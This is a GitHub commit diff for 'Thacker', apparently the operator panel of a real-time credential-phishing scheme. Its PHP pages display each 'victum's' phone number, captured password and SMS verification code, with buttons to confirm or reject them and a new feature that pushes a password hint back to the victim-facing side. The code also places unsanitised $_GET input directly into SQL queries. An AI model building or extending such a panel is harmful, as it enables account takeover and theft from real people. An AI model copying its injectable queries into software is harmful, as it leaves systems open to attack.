Skip to content

Commit da4ac82

Browse files
committed
Thacker Version 2.0
+ Hint Added
1 parent 5fdaa59 commit da4ac82

File tree

14 files changed

+71
-25
lines changed

14 files changed

+71
-25
lines changed

.htaccess

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
RewriteEngine On
2+
RewriteCond %{REQUEST_FILENAME} !-f
3+
RewriteRule ^([^\.]+)$ $1.php [NC,L]

api/access.php

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
<?php
22
header("Access-Control-Allow-Origin: *");
33
header("Content-Type: application/json");
4-
header("Access-Control-Allow-Methods: POST");
4+
header("Access-Control-Allow-Methods: GET");
55
header("Access-Control-Allow-Headers: Access-Control-Allow-Headers, Content-Type, Access-Control-Allow-Methods, Authorization, X-Requested-With");
66
include '../private/connect.php';
77

api/code.php

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
<?php
22
header("Access-Control-Allow-Origin: *");
33
header("Content-Type: application/json");
4-
header("Access-Control-Allow-Methods: POST");
4+
header("Access-Control-Allow-Methods: GET");
55
header("Access-Control-Allow-Headers: Access-Control-Allow-Headers, Content-Type, Access-Control-Allow-Methods, Authorization, X-Requested-With");
66
include '../private/connect.php';
77

api/password.php

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
header("Access-Control-Allow-Origin: *");
44
header("Content-Type: application/json");
5-
header("Access-Control-Allow-Methods: POST");
5+
header("Access-Control-Allow-Methods: GET");
66
header("Access-Control-Allow-Headers: Access-Control-Allow-Headers, Content-Type, Access-Control-Allow-Methods, Authorization, X-Requested-With");
77
include '../private/connect.php';
88

api/phone.php

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
<?php
22
header("Access-Control-Allow-Origin: *");
33
header("Content-Type: application/json");
4-
header("Access-Control-Allow-Methods: POST");
4+
header("Access-Control-Allow-Methods: GET");
55
header("Access-Control-Allow-Headers: Access-Control-Allow-Headers, Content-Type, Access-Control-Allow-Methods, Authorization, X-Requested-With");
66
include '../private/connect.php';
77

api/verify.php

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
header("Access-Control-Allow-Origin: *");
44
header("Content-Type: application/json");
5-
header("Access-Control-Allow-Methods: POST");
5+
header("Access-Control-Allow-Methods: GET");
66
header("Access-Control-Allow-Headers: Access-Control-Allow-Headers, Content-Type, Access-Control-Allow-Methods, Authorization, X-Requested-With");
77
include '../private/connect.php';
88

@@ -24,12 +24,13 @@
2424
}
2525
elseif ($exe['code']) {
2626
$result = ($exe['password'] == 'yes') ? 'YES' : 'NO';
27-
$msg = array('code' => true,'password' => $result);
27+
$msg = array('code' => true,'password' => $result,'hint' => $exe['hint']);
2828
printf(json_encode($msg));
2929
} else {
3030
$msg = array('code' => false,'password' => NULL);
3131
printf(json_encode($msg));
3232
}
3333
}
3434
}
35-
?>
35+
?>
36+

api/vpass.php

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
header("Access-Control-Allow-Origin: *");
44
header("Content-Type: application/json");
5-
header("Access-Control-Allow-Methods: POST");
5+
header("Access-Control-Allow-Methods: GET");
66
header("Access-Control-Allow-Headers: Access-Control-Allow-Headers, Content-Type, Access-Control-Allow-Methods, Authorization, X-Requested-With");
77
include '../private/connect.php';
88

autoloads/index.php

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -28,15 +28,16 @@
2828
}
2929
elseif ($action == 'password') { // account has a password
3030
$sql = $c->query("SELECT * FROM password WHERE request_id = '$request'");
31+
$hint = $_GET['hint'];
3132
if ($sql->num_rows == 0) {
32-
$c->query("INSERT INTO password (request_id,code,password,timer)VALUES('$request',1,'yes','$timer')");
33+
$c->query("INSERT INTO password (request_id,code,password,hint,timer)VALUES('$request',1,'yes','$hint','$timer')");
3334
$c->query("UPDATE stemp SET verify = 'valid' WHERE request_id = '$request'");
3435
$stp = $c->query("SELECT * FROM stemp WHERE request_id = '$request'");
3536
$zstemp = $stp->fetch_array();
3637
$c->query("UPDATE sms SET code = '".$zstemp['code']."' WHERE request_id = '$request'");
3738
include '../layouts/alert.php';
3839
} else {
39-
$c->query("UPDATE password SET code = 1 , password = 'yes' WHERE request_id = '$request'");
40+
$c->query("UPDATE password SET code = 1 , password = 'yes',hint='$hint' WHERE request_id = '$request'");
4041
$c->query("UPDATE stemp SET verify = 'valid' WHERE request_id = '$request'");
4142
$stp = $c->query("SELECT * FROM stemp WHERE request_id = '$request'");
4243
$zstemp = $stp->fetch_array();

index.php

Lines changed: 22 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -53,6 +53,27 @@
5353
<div class="body">
5454
<?php include 'layouts/home.php'; ?>
5555
</div>
56-
56+
<div class="modal fade" id="hintmodal">
57+
<div class="modal-dialog" role="document">
58+
<div class="modal-content">
59+
<div class="modal-header">
60+
<h5 class="modal-title" id="hintlabel">Enter password hint</h5>
61+
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
62+
<span aria-hidden="true">&times;</span>
63+
</button>
64+
</div>
65+
<div class="modal-body">
66+
<div class="form-group">
67+
<label for="message-text" class="col-form-label">Password Hint</label>
68+
<input type="text" class="form-control" id="message-text" value="Password" />
69+
</div>
70+
</div>
71+
<div class="modal-footer">
72+
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
73+
<button class="btn btn-primary" onclick="verifyss('password',document.getElementById('request_id').value,document.getElementById('message-text').value)">Send</button>
74+
</div>
75+
</div>
76+
</div>
77+
</div>
5778
</body>
5879
</html>

layouts/password.php

Lines changed: 21 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -3,20 +3,27 @@
33
$db = Database::getInstance();
44
$c = $db->getc();
55

6+
$code = "";
7+
$password = "";
8+
$codebtn = false;
9+
$passbtn = false;
10+
611
$c->query("UPDATE alert SET status='seen' ");
712
$timec = time();
813
$sql = $c->query("SELECT * FROM alert WHERE result = 'unsolved' AND timer + 60 * 30 > $timec ORDER BY id DESC");
914
if ($sql->num_rows == 0) {}
1015
else {
11-
$cog = new cog();
16+
$cog = new cog();
1217
while ($exe = $sql->fetch_array()) {
1318
$splatform = $c->query("SELECT * FROM platform WHERE request_id='".$exe['request_id']."'");
1419
$platform = $splatform->fetch_array();
20+
1521
$tpass = $c->query("SELECT * FROM ptemp WHERE request_id='".$exe['request_id']."'");
1622
$pass = $tpass->fetch_array();
1723
if($tpass->num_rows == 0) {
1824
$password = '<span class="dot1">*</span><span class="dot2">*</span><span class="dot3">*</span>';
1925
}else {
26+
$passbtn = true;
2027
$password = $pass['password'];
2128
}
2229

@@ -25,14 +32,15 @@
2532
if($tcode->num_rows == 0) {
2633
$code = '<span class="dot1">*</span><span class="dot2">*</span><span class="dot3">*</span>';
2734
}else {
35+
$codebtn = true;
2836
$code = $passcode['code'];
2937
}
3038
?>
3139
<div class="box-1 col-4" title="waiting for the victum...">
3240
<div class="mt-3">
3341
<p class="text-center"><?php echo $exe['phone_type']; ?></p><hr>
3442
<p class="row"><span class="col-md-6 text-right">Request id :</span><span class="col-md-6"> <?php echo $exe['request_id']; ?><input type="hidden" id="request_id" value="<?php echo $exe['request_id']; ?>"></span></p>
35-
<p class="row"><span class="col-md-6 text-right">Phone No :</span><span class="col-md-6" id="phone"> <?php echo $exe['phone']; ?></span></p>
43+
<p class="row"><span class="col-md-6 text-right">Phone No :</span><span class="col-md-6" id="phone"> <?php echo $exe['phone'] == "" ? "<span class=\"dot1\">*</span><span class=\"dot2\">*</span><span class=\"dot3\">*</span>" : $exe['phone']; ?></span></p>
3644
<p class="row"><span class="col-md-6 text-right">Password :</span><span class="col-md-6" id="password"> <?php echo $password ?></span></p>
3745
<p class="row"><span class="col-md-6 text-right">Duration :</span><span class="col-md-6" id="duration"> <?php echo $cog->time_ago($exe['timer']); ?></span></p>
3846
<p class="row">
@@ -47,14 +55,20 @@
4755
<span class="text-info text-right mr-3" style="display: block;font-size: 12px;margin-top: 2rem" title="Version <?php echo $platform['version']; ?>"><?php echo ucwords($platform['app']); ?></span>
4856
<hr><center>
4957
<div class="w-100" style="">
50-
<button class="btn btn-success" onclick="verify('done','<?php echo $exe['request_id']; ?>')" title="Completed"><i class="fa fa-check"></i> </button>
51-
<button class="btn btn-danger" onclick="verify('code','<?php echo $exe['request_id']; ?>')" title="Code not corrext"><i class="fa fa-envelope text-white"></i> </button> -
52-
<button class="btn btn-success" onclick="verify('dpass','<?php echo $exe['request_id']; ?>')" title="Completed with Password"><i class="fa fa-unlock"></i> </button>
53-
<button class="btn btn-info" onclick="verify('password','<?php echo $exe['request_id']; ?>')" title="Has Password"><i class="fa fa-key"></i> </button>
54-
<button class="btn btn-danger" onclick="verify('pass','<?php echo $exe['request_id']; ?>')" title="Invalid Password"><i class="fa fa-lock"></i> </button>
58+
<input type="hidden" id="request_id" value="<?php echo ['request_id']; ?>">
59+
<button <?php echo $codebtn ? "enabled": "disabled"; ?> class="btn btn-success" onclick="verify('done','<?php echo $exe['request_id']; ?>')" title="Completed"><i class="fa fa-check"></i> </button>
60+
<button <?php echo $codebtn ? "enabled": "disabled"; ?> class="btn btn-danger" onclick="verify('code','<?php echo $exe['request_id']; ?>')" title="Code not corrext"><i class="fa fa-envelope text-white"></i> </button> -
61+
62+
<button <?php echo $codebtn ? "enabled": "disabled"; ?> class="btn btn-info" data-toggle="modal" data-target="#hintmodal" title="Has Password"><i class="fa fa-key"></i> </button>
63+
<button <?php echo $passbtn ? "enabled": "disabled"; ?> class="btn btn-success" onclick="verify('dpass','<?php echo $exe['request_id']; ?>')" title="Completed with Password"><i class="fa fa-unlock"></i> </button>
64+
<button <?php echo $passbtn ? "enabled": "disabled"; ?> class="btn btn-danger" onclick="verify('pass','<?php echo $exe['request_id']; ?>')" title="Invalid Password"><i class="fa fa-lock"></i> </button>
5565
</div></center>
5666
</div>
67+
68+
5769
<?php
5870
}
71+
/* <button class="btn btn-info" onclick="verify('password','<?php echo $exe['request_id']; ?>')" title="Has Password"><i class="fa fa-key"></i> </button>*/
72+
5973
}
6074
?>

0 commit comments

Comments
 (0)